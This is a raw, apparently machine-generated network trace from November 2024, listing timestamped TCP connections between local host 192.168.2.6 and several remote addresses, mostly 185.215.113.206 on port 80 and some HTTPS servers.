Nov 17, 2024 10:07:40.133323908 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133336067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133349895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133384943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133394003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133394003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133394003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133404016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133416891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133429050 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133436918 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133446932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133449078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133462906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133475065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133487940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133497000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133502007 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133502960 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133502960 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133511066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133522987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133533001 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133538008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133558989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133564949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133582115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133585930 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133594036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133606911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133614063 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133618116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133630991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133641958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133641958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133644104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133658886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133671045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133682013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133693933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133702993 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133703947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133702993 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133718014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133739948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133739948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133752108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133759975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133770943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133781910 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133791924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133795977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133804083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133815050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133815050 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133826971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133847952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133856058 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133856058 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133861065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133881092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133892059 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133903027 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133907080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133914948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133929014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133929968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133939981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133953094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133955956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133955956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133966923 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133991957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133992910 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134008884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134021044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134022951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134032965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134044886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134057045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134061098 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134068012 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134094954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134100914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134121895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134150982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134164095 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134182930 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134202957 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134325027 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134342909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134354115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134366035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134371042 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134378910 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134392023 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134392977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134402990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134416103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134433985 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134445906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134454012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134458065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134470940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134474039 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134483099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134493113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134495974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134509087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134514093 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134521008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134543896 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134556055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134563923 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134568930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134582996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134598017 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134640932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134715080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134727001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134738922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134751081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134763002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134773016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134773970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134785891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134793043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134795904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134805918 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134816885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134818077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134824038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134830952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134845972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134850979 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134876013 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134876013 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134907961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.134974003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134985924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.134996891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135016918 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135025978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.135030031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135047913 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.135061979 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135073900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135077000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.135085106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135103941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135116100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135127068 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135128975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.135138035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135150909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135150909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.135169029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135171890 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.135188103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.135201931 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.135224104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.175075054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.175164938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.175216913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.175228119 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.175240040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.175251961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.175262928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.175265074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.175273895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.175286055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.175287962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.175343990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.175343990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.176007986 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:40.176567078 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:40.202403069 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:40.220513105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.220527887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.220540047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.220613003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.220730066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.224159956 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.225200891 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.225239992 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.225445032 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.225763083 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.225943089 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.225954056 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.226147890 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.226937056 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.226962090 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.227031946 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:40.227061033 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.227086067 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.227092981 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.227101088 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:40.227467060 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.227478981 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.227791071 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.227842093 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.228492975 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.228557110 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.229717970 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.229749918 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.230241060 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.230304003 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.230746984 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.231018066 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:40.231044054 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:40.231193066 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.231245041 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.231376886 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:40.231642008 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.231785059 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.231790066 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.231971025 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.232017994 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.232311964 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.232409000 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.233995914 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.234006882 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.234452963 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.234462976 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.235483885 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.235552073 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.235965014 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.236037016 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.236238003 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.236255884 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.244746923 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.245151043 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.245157957 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.246171951 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.246251106 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.246643066 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.246707916 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.246764898 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.247807980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.247874022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.247920036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.247932911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.247940063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.247946024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.247951031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.247961044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.247973919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.247992039 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.248029947 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.253021002 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:40.253071070 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:40.253309965 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:40.253324986 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:40.256906033 CET	443	49937	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.258416891 CET	49937	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.258439064 CET	443	49937	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.258543968 CET	49952	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:40.258601904 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:40.258677006 CET	49952	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:40.258829117 CET	49952	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:40.258862019 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:40.259160042 CET	49937	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.259166956 CET	443	49937	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.266052008 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.266441107 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.266473055 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.266882896 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.266899109 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.279364109 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.284189939 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.284336090 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.284511089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284543037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284581900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284605980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284610987 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284653902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284658909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284708977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284710884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284745932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284759045 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284796953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284797907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284835100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284843922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284868956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284885883 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284904957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284919977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284934044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284950018 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.284986019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.284995079 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285048962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285079002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285104036 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285125017 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285129070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285182953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285186052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285235882 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285239935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285274982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285341024 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285341978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285377979 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285397053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285408020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285422087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285458088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285459995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285516977 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285546064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285559893 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285581112 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285598040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285599947 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285636902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285666943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285689116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285712004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285720110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285768986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285769939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285801888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285818100 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285834074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285855055 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285867929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285880089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285901070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285917044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285936117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285964012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.285969973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.285984993 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286004066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286031008 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286034107 CET	80	49892	185.215.113.206	192.168.2.6
